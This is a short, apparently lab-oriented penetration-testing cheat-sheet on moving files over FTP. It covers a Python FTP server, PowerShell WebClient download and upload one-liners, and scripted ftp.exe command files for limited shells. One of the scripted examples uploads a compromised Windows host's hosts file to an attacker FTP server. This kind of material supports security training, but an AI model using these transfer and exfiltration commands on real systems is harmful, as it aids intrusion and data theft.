FTP Download/Upload

Download

FTP Installation

sudo pip3 install pyftpdlib

Setting port number

sudo python3 -m pyftpdlib --port 21

Transferring Files from an FTP Server Using PowerShell

(New-Object Net.WebClient).DownloadFile('ftp://192.168.0.11/file.txt', 'C:\Users\Public\ftp-file.txt')

Limited shell problem:

1. Create a Command File for the FTP Client and Download the Target File

echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

1. After getting connection:

open 192.168.49.128
USER anonymous
GET file.txt
bye

1. Verify

more file.txt

Upload

Running FTP server on Linux:

sudo python3 -m pyftpdlib --port 21 --write

Upload file to FTP server with PowerShell:

(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Limited PowerShell problem

1. Create a command file for the FTP client to upload a file

echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

1. After getting connection:

open 192.168.49.128
USER anonymous
PUT c:\windows\system32\drivers\etc\hosts
bye